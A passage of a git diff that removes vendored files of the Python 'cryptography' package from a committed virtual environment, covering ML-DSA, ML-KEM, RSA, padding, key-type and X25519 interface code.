rust_openssl.mldsa.generate_mldsa65_key() - - @classmethod - def from_seed_bytes(cls, data: Buffer) -> MLDSA65PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-65 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa65_seed_bytes(data) - - @abc.abstractmethod - def public_key(self) -> MLDSA65PublicKey: - """ - The MLDSA65PublicKey derived from the private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - - This method only returns the serialization of the seed form of the - private key, never the expanded one. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - - This method only returns the seed form of the private key (32 bytes). - """ - - @abc.abstractmethod - def sign(self, data: Buffer, context: Buffer | None = None) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def sign_mu(self, mu: Buffer) -> bytes: - """ - Signs a precomputed mu (message representative). - - mu must be 64 bytes and already incorporates the context, so no - context is accepted here. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA65PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA65PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA65PrivateKey.register(rust_openssl.mldsa.MLDSA65PrivateKey) - - -class MLDSA87PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> MLDSA87PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-87 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa87_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - - The public key is 2,592 bytes for MLDSA-87. - """ - - @abc.abstractmethod - def verify( - self, - signature: Buffer, - data: Buffer, - context: Buffer | None = None, - ) -> None: - """ - Verify the signature. - """ - - @abc.abstractmethod - def verify_mu( - self, - signature: Buffer, - mu: Buffer, - ) -> None: - """ - Verify the signature over a precomputed mu (message representative). - - mu must be 64 bytes. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA87PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA87PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA87PublicKey.register(rust_openssl.mldsa.MLDSA87PublicKey) - - -class MLDSA87PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> MLDSA87PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-87 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.generate_mldsa87_key() - - @classmethod - def from_seed_bytes(cls, data: Buffer) -> MLDSA87PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mldsa_supported(): - raise UnsupportedAlgorithm( - "ML-DSA-87 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mldsa.from_mldsa87_seed_bytes(data) - - @abc.abstractmethod - def public_key(self) -> MLDSA87PublicKey: - """ - The MLDSA87PublicKey derived from the private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - - This method only returns the serialization of the seed form of the - private key, never the expanded one. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - - This method only returns the seed form of the private key (32 bytes). - """ - - @abc.abstractmethod - def sign(self, data: Buffer, context: Buffer | None = None) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def sign_mu(self, mu: Buffer) -> bytes: - """ - Signs a precomputed mu (message representative). - - mu must be 64 bytes and already incorporates the context, so no - context is accepted here. - """ - - @abc.abstractmethod - def __copy__(self) -> MLDSA87PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLDSA87PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mldsa"): - MLDSA87PrivateKey.register(rust_openssl.mldsa.MLDSA87PrivateKey) - MLDSAMuHasher = rust_openssl.mldsa.MLDSAMuHasher diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mlkem.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mlkem.py deleted file mode 100644 index 64bca1151bd2be5e73fb0bf365bb1ea73ddaee49..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/mlkem.py +++ /dev/null @@ -1,278 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class MLKEM768PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: Buffer) -> MLKEM768PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-768 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.from_mlkem768_public_bytes(data) - - @abc.abstractmethod - def encapsulate(self) -> tuple[bytes, bytes]: - """ - Encapsulate: returns (shared_secret, ciphertext). - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - - The public key is 1,184 bytes for ML-KEM-768. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> MLKEM768PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLKEM768PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mlkem"): - MLKEM768PublicKey.register(rust_openssl.mlkem.MLKEM768PublicKey) - - -class MLKEM768PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> MLKEM768PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-768 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.generate_mlkem768_key() - - @classmethod - def from_seed_bytes(cls, data: Buffer) -> MLKEM768PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-768 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.from_mlkem768_seed_bytes(data) - - @abc.abstractmethod - def decapsulate(self, ciphertext: Buffer) -> bytes: - """ - Decapsulate: returns shared_secret. - """ - - @abc.abstractmethod - def public_key(self) -> MLKEM768PublicKey: - """ - The MLKEM768PublicKey derived from this private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key (64-byte seed). - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def __copy__(self) -> MLKEM768PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLKEM768PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mlkem"): - MLKEM768PrivateKey.register(rust_openssl.mlkem.MLKEM768PrivateKey) - - -class MLKEM1024PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: Buffer) -> MLKEM1024PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-1024 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.from_mlkem1024_public_bytes(data) - - @abc.abstractmethod - def encapsulate(self) -> tuple[bytes, bytes]: - """ - Encapsulate: returns (shared_secret, ciphertext). - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - - The public key is 1,568 bytes for ML-KEM-1024. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> MLKEM1024PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLKEM1024PublicKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mlkem"): - MLKEM1024PublicKey.register(rust_openssl.mlkem.MLKEM1024PublicKey) - - -class MLKEM1024PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> MLKEM1024PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-1024 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.generate_mlkem1024_key() - - @classmethod - def from_seed_bytes(cls, data: Buffer) -> MLKEM1024PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.mlkem_supported(): - raise UnsupportedAlgorithm( - "ML-KEM-1024 is not supported by this backend.", - _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, - ) - - return rust_openssl.mlkem.from_mlkem1024_seed_bytes(data) - - @abc.abstractmethod - def decapsulate(self, ciphertext: Buffer) -> bytes: - """ - Decapsulate: returns shared_secret. - """ - - @abc.abstractmethod - def public_key(self) -> MLKEM1024PublicKey: - """ - The MLKEM1024PublicKey derived from this private key. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key (64-byte seed). - Equivalent to private_bytes(Raw, Raw, NoEncryption()). - """ - - @abc.abstractmethod - def __copy__(self) -> MLKEM1024PrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> MLKEM1024PrivateKey: - """ - Returns a deep copy. - """ - - -if hasattr(rust_openssl, "mlkem"): - MLKEM1024PrivateKey.register(rust_openssl.mlkem.MLKEM1024PrivateKey) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/padding.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/padding.py deleted file mode 100644 index 1fd2873e63918054374b718999b79d1c49bd29e0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/padding.py +++ /dev/null @@ -1,141 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives._asymmetric import ( - AsymmetricPadding as AsymmetricPadding, -) -from cryptography.hazmat.primitives.asymmetric import rsa - - -class PKCS1v15(AsymmetricPadding): - name = "EMSA-PKCS1-v1_5" - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PKCS1v15): - return NotImplemented - - return True - - -class _MaxLength: - "Sentinel value for `MAX_LENGTH`." - - -class _Auto: - "Sentinel value for `AUTO`." - - -class _DigestLength: - "Sentinel value for `DIGEST_LENGTH`." - - -class PSS(AsymmetricPadding): - MAX_LENGTH = _MaxLength() - AUTO = _Auto() - DIGEST_LENGTH = _DigestLength() - name = "EMSA-PSS" - _salt_length: int | _MaxLength | _Auto | _DigestLength - - def __init__( - self, - mgf: MGF, - salt_length: int | _MaxLength | _Auto | _DigestLength, - ) -> None: - self._mgf = mgf - - if not isinstance( - salt_length, (int, _MaxLength, _Auto, _DigestLength) - ): - raise TypeError( - "salt_length must be an integer, MAX_LENGTH, " - "DIGEST_LENGTH, or AUTO" - ) - - if isinstance(salt_length, int) and salt_length < 0: - raise ValueError("salt_length must be zero or greater.") - - self._salt_length = salt_length - - def __eq__(self, other: object) -> bool: - if not isinstance(other, PSS): - return NotImplemented - - return ( - self._mgf == other._mgf and self._salt_length == other._salt_length - ) - - @property - def mgf(self) -> MGF: - return self._mgf - - -class OAEP(AsymmetricPadding): - name = "EME-OAEP" - - def __init__( - self, - mgf: MGF, - algorithm: hashes.HashAlgorithm, - label: bytes | None, - ): - if not isinstance(algorithm, hashes.HashAlgorithm): - raise TypeError("Expected instance of hashes.HashAlgorithm.") - - self._mgf = mgf - self._algorithm = algorithm - self._label = label - - def __eq__(self, other: object) -> bool: - if not isinstance(other, OAEP): - return NotImplemented - - return ( - self._mgf == other._mgf - and self._algorithm == other._algorithm - and self._label == other._label - ) - - @property - def algorithm(self) -> hashes.HashAlgorithm: - return self._algorithm - - @property - def mgf(self) -> MGF: - return self._mgf - - -class MGF(metaclass=abc.ABCMeta): - _algorithm: hashes.HashAlgorithm - - -class MGF1(MGF): - def __init__(self, algorithm: hashes.HashAlgorithm): - if not isinstance(algorithm, hashes.HashAlgorithm): - raise TypeError("Expected instance of hashes.HashAlgorithm.") - - self._algorithm = algorithm - - def __eq__(self, other: object) -> bool: - if not isinstance(other, MGF1): - return NotImplemented - - return self._algorithm == other._algorithm - - -def calculate_max_pss_salt_length( - key: rsa.RSAPrivateKey | rsa.RSAPublicKey, - hash_algorithm: hashes.HashAlgorithm, -) -> int: - if not isinstance(key, (rsa.RSAPrivateKey, rsa.RSAPublicKey)): - raise TypeError("key must be an RSA public or private key") - # bit length - 1 per RFC 3447 - emlen = (key.key_size + 6) // 8 - salt_length = emlen - hash_algorithm.digest_size - 2 - assert salt_length >= 0 - return salt_length diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/rsa.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/rsa.py deleted file mode 100644 index d730cebdd35c809eff23dd627d3ce075c3360a7d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/rsa.py +++ /dev/null @@ -1,295 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc -import random -import typing -from math import gcd, lcm - -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization, hashes -from cryptography.hazmat.primitives._asymmetric import AsymmetricPadding -from cryptography.hazmat.primitives.asymmetric import utils as asym_utils - - -class RSAPrivateKey(metaclass=abc.ABCMeta): - @abc.abstractmethod - def decrypt(self, ciphertext: bytes, padding: AsymmetricPadding) -> bytes: - """ - Decrypts the provided ciphertext. - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of the public modulus. - """ - - @abc.abstractmethod - def public_key(self) -> RSAPublicKey: - """ - The RSAPublicKey associated with this private key. - """ - - @abc.abstractmethod - def sign( - self, - data: bytes, - padding: AsymmetricPadding, - algorithm: asym_utils.Prehashed - | hashes.HashAlgorithm - | asym_utils.NoDigestInfo, - ) -> bytes: - """ - Signs the data. - """ - - @abc.abstractmethod - def private_numbers(self) -> RSAPrivateNumbers: - """ - Returns an RSAPrivateNumbers. - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def __copy__(self) -> RSAPrivateKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> RSAPrivateKey: - """ - Returns a deep copy. - """ - - -RSAPrivateKeyWithSerialization = RSAPrivateKey -RSAPrivateKey.register(rust_openssl.rsa.RSAPrivateKey) - - -class RSAPublicKey(metaclass=abc.ABCMeta): - @abc.abstractmethod - def encrypt(self, plaintext: bytes, padding: AsymmetricPadding) -> bytes: - """ - Encrypts the given plaintext. - """ - - @property - @abc.abstractmethod - def key_size(self) -> int: - """ - The bit length of the public modulus. - """ - - @abc.abstractmethod - def public_numbers(self) -> RSAPublicNumbers: - """ - Returns an RSAPublicNumbers - """ - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - Returns the key serialized as bytes. - """ - - @abc.abstractmethod - def verify( - self, - signature: bytes, - data: bytes, - padding: AsymmetricPadding, - algorithm: asym_utils.Prehashed | hashes.HashAlgorithm, - ) -> None: - """ - Verifies the signature of the data. - """ - - @abc.abstractmethod - def recover_data_from_signature( - self, - signature: bytes, - padding: AsymmetricPadding, - algorithm: hashes.HashAlgorithm | asym_utils.NoDigestInfo | None, - ) -> bytes: - """ - Recovers the original data from the signature. - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> RSAPublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> RSAPublicKey: - """ - Returns a deep copy. - """ - - -RSAPublicKeyWithSerialization = RSAPublicKey -RSAPublicKey.register(rust_openssl.rsa.RSAPublicKey) - -RSAPrivateNumbers = rust_openssl.rsa.RSAPrivateNumbers -RSAPublicNumbers = rust_openssl.rsa.RSAPublicNumbers - - -def generate_private_key( - public_exponent: int, - key_size: int, - backend: typing.Any = None, -) -> RSAPrivateKey: - _verify_rsa_parameters(public_exponent, key_size) - return rust_openssl.rsa.generate_private_key(public_exponent, key_size) - - -def _verify_rsa_parameters(public_exponent: int, key_size: int) -> None: - if public_exponent not in (3, 65537): - raise ValueError( - "public_exponent must be either 3 (for legacy compatibility) or " - "65537. Almost everyone should choose 65537 here!" - ) - - if key_size < 1024: - raise ValueError("key_size must be at least 1024-bits.") - - -def _modinv(e: int, m: int) -> int: - """ - Modular Multiplicative Inverse. Returns x such that: (x*e) mod m == 1 - """ - x1, x2 = 1, 0 - a, b = e, m - while b > 0: - q, r = divmod(a, b) - xn = x1 - q * x2 - a, b, x1, x2 = b, r, x2, xn - return x1 % m - - -def rsa_crt_iqmp(p: int, q: int) -> int: - """ - Compute the CRT (q ** -1) % p value from RSA primes p and q. - """ - if p <= 1 or q <= 1: - raise ValueError("Values can't be <= 1") - return _modinv(q, p) - - -def rsa_crt_dmp1(private_exponent: int, p: int) -> int: - """ - Compute the CRT private_exponent % (p - 1) value from the RSA - private_exponent (d) and p. - """ - if private_exponent <= 1 or p <= 1: - raise ValueError("Values can't be <= 1") - return private_exponent % (p - 1) - - -def rsa_crt_dmq1(private_exponent: int, q: int) -> int: - """ - Compute the CRT private_exponent % (q - 1) value from the RSA - private_exponent (d) and q. - """ - if private_exponent <= 1 or q <= 1: - raise ValueError("Values can't be <= 1") - return private_exponent % (q - 1) - - -def rsa_recover_private_exponent(e: int, p: int, q: int) -> int: - """ - Compute the RSA private_exponent (d) given the public exponent (e) - and the RSA primes p and q. - - This uses the Carmichael totient function to generate the - smallest possible working value of the private exponent. - """ - # This lambda_n is the Carmichael totient function. - # The original RSA paper uses the Euler totient function - # here: phi_n = (p - 1) * (q - 1) - # Either version of the private exponent will work, but the - # one generated by the older formulation may be larger - # than necessary. (lambda_n always divides phi_n) - if e <= 1 or p <= 1 or q <= 1: - raise ValueError("Values can't be <= 1") - return _modinv(e, lcm(p - 1, q - 1)) - - -# Controls the number of iterations rsa_recover_prime_factors will perform -# to obtain the prime factors. -_MAX_RECOVERY_ATTEMPTS = 500 - - -def rsa_recover_prime_factors(n: int, e: int, d: int) -> tuple[int, int]: - """ - Compute factors p and q from the private exponent d. We assume that n has - no more than two factors. This function is adapted from code in PyCrypto. - """ - # reject invalid values early - if d <= 1 or e <= 1: - raise ValueError("d, e can't be <= 1") - if 17 != pow(17, e * d, n): - raise ValueError("n, d, e don't match") - # See 8.2.2(i) in Handbook of Applied Cryptography. - ktot = d * e - 1 - # The quantity d*e-1 is a multiple of phi(n), even, - # and can be represented as t*2^s. - t = ktot - while t % 2 == 0: - t = t // 2 - # Cycle through all multiplicative inverses in Zn. - # The algorithm is non-deterministic, but there is a 50% chance - # any candidate a leads to successful factoring. - # See "Digitalized Signatures and Public Key Functions as Intractable - # as Factorization", M. Rabin, 1979 - spotted = False - tries = 0 - while not spotted and tries < _MAX_RECOVERY_ATTEMPTS: - a = random.randint(2, n - 1) - tries += 1 - k = t - # Cycle through all values a^{t*2^i}=a^k - while k < ktot: - cand = pow(a, k, n) - # Check if a^k is a non-trivial root of unity (mod n) - if cand != 1 and cand != (n - 1) and pow(cand, 2, n) == 1: - # We have found a number such that (cand-1)(cand+1)=0 (mod n). - # Either of the terms divides n. - p = gcd(cand + 1, n) - spotted = True - break - k *= 2 - if not spotted: - raise ValueError("Unable to compute factors p and q from exponent d.") - # Found ! - q, r = divmod(n, p) - assert r == 0 - p, q = sorted((p, q), reverse=True) - return (p, q) diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/types.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/types.py deleted file mode 100644 index dbf4b74cbd0e2c7cecc7af52cc9ff07a182aab6d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/types.py +++ /dev/null @@ -1,94 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import typing - -from cryptography.hazmat.primitives.asymmetric import ( - dh, - dsa, - ec, - ed448, - ed25519, - mldsa, - mlkem, - rsa, - x448, - x25519, -) - -# Every asymmetric key type. These use the private DH aliases so that -# importing this module doesn't trigger the FFDH deprecation warning. -PublicKeyTypes = typing.Union[ - dh._DHPublicKey, - dsa.DSAPublicKey, - rsa.RSAPublicKey, - ec.EllipticCurvePublicKey, - ed25519.Ed25519PublicKey, - ed448.Ed448PublicKey, - mldsa.MLDSA44PublicKey, - mldsa.MLDSA65PublicKey, - mldsa.MLDSA87PublicKey, - mlkem.MLKEM768PublicKey, - mlkem.MLKEM1024PublicKey, - x25519.X25519PublicKey, - x448.X448PublicKey, -] -# Every asymmetric key type -PrivateKeyTypes = typing.Union[ - dh._DHPrivateKey, - ed25519.Ed25519PrivateKey, - ed448.Ed448PrivateKey, - mldsa.MLDSA44PrivateKey, - mldsa.MLDSA65PrivateKey, - mldsa.MLDSA87PrivateKey, - mlkem.MLKEM768PrivateKey, - mlkem.MLKEM1024PrivateKey, - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ec.EllipticCurvePrivateKey, - x25519.X25519PrivateKey, - x448.X448PrivateKey, -] -# Just the key types we allow to be used for x509 signing. This mirrors -# the certificate public key types -CertificateIssuerPrivateKeyTypes = typing.Union[ - ed25519.Ed25519PrivateKey, - ed448.Ed448PrivateKey, - rsa.RSAPrivateKey, - dsa.DSAPrivateKey, - ec.EllipticCurvePrivateKey, - mldsa.MLDSA44PrivateKey, - mldsa.MLDSA65PrivateKey, - mldsa.MLDSA87PrivateKey, -] -# Just the key types we allow to be used for x509 signing. This mirrors -# the certificate private key types -CertificateIssuerPublicKeyTypes = typing.Union[ - dsa.DSAPublicKey, - rsa.RSAPublicKey, - ec.EllipticCurvePublicKey, - ed25519.Ed25519PublicKey, - ed448.Ed448PublicKey, - mldsa.MLDSA44PublicKey, - mldsa.MLDSA65PublicKey, - mldsa.MLDSA87PublicKey, -] -# This type removes DHPublicKey. x448/x25519/mlkem can be a public key -# but cannot be used in signing so they are allowed here. -CertificatePublicKeyTypes = typing.Union[ - dsa.DSAPublicKey, - rsa.RSAPublicKey, - ec.EllipticCurvePublicKey, - ed25519.Ed25519PublicKey, - ed448.Ed448PublicKey, - mldsa.MLDSA44PublicKey, - mldsa.MLDSA65PublicKey, - mldsa.MLDSA87PublicKey, - mlkem.MLKEM768PublicKey, - mlkem.MLKEM1024PublicKey, - x25519.X25519PublicKey, - x448.X448PublicKey, -] diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py deleted file mode 100644 index c01c34274be5356360c9c0e065bc32843f6a6e9d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/utils.py +++ /dev/null @@ -1,28 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import asn1 -from cryptography.hazmat.primitives import hashes - -decode_dss_signature = asn1.decode_dss_signature -encode_dss_signature = asn1.encode_dss_signature - - -class NoDigestInfo: - pass - - -class Prehashed: - def __init__(self, algorithm: hashes.HashAlgorithm): - if not isinstance(algorithm, hashes.HashAlgorithm): - raise TypeError("Expected instance of HashAlgorithm.") - - self._algorithm = algorithm - self._digest_size = algorithm.digest_size - - @property - def digest_size(self) -> int: - return self._digest_size diff --git a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x25519.py b/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x25519.py deleted file mode 100644 index 749899888f2bf6e7e875450fd76b0682a9a0e80e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/primitives/asymmetric/x25519.py +++ /dev/null @@ -1,134 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import abc - -from cryptography.exceptions import UnsupportedAlgorithm, _Reasons -from cryptography.hazmat.bindings._rust import openssl as rust_openssl -from cryptography.hazmat.primitives import _serialization -from cryptography.utils import Buffer - - -class X25519PublicKey(metaclass=abc.ABCMeta): - @classmethod - def from_public_bytes(cls, data: bytes) -> X25519PublicKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x25519_supported(): - raise UnsupportedAlgorithm( - "X25519 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - - return rust_openssl.x25519.from_public_bytes(data) - - @abc.abstractmethod - def public_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PublicFormat, - ) -> bytes: - """ - The serialized bytes of the public key. - """ - - @abc.abstractmethod - def public_bytes_raw(self) -> bytes: - """ - The raw bytes of the public key. - Equivalent to public_bytes(Raw, Raw). - """ - - @abc.abstractmethod - def __eq__(self, other: object) -> bool: - """ - Checks equality. - """ - - @abc.abstractmethod - def __copy__(self) -> X25519PublicKey: - """ - Returns a copy. - """ - - @abc.abstractmethod - def __deepcopy__(self, memo: dict) -> X25519PublicKey: - """ - Returns a deep copy. - """ - - -X25519PublicKey.register(rust_openssl.x25519.X25519PublicKey) - - -class X25519PrivateKey(metaclass=abc.ABCMeta): - @classmethod - def generate(cls) -> X25519PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x25519_supported(): - raise UnsupportedAlgorithm( - "X25519 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - return rust_openssl.x25519.generate_key() - - @classmethod - def from_private_bytes(cls, data: Buffer) -> X25519PrivateKey: - from cryptography.hazmat.backends.openssl.backend import backend - - if not backend.x25519_supported(): - raise UnsupportedAlgorithm( - "X25519 is not supported by this version of OpenSSL.", - _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, - ) - - return rust_openssl.x25519.from_private_bytes(data) - - @abc.abstractmethod - def public_key(self) -> X25519PublicKey: - """ - Returns the public key associated with this private key - """ - - @abc.abstractmethod - def private_bytes( - self, - encoding: _serialization.Encoding, - format: _serialization.PrivateFormat, - encryption_algorithm: _serialization.KeySerializationEncryption, - ) -> bytes: - """ - The serialized bytes of the private key. - """ - - @abc.abstractmethod - def private_bytes_raw(self) -> bytes: - """ - The raw bytes of the private key. - 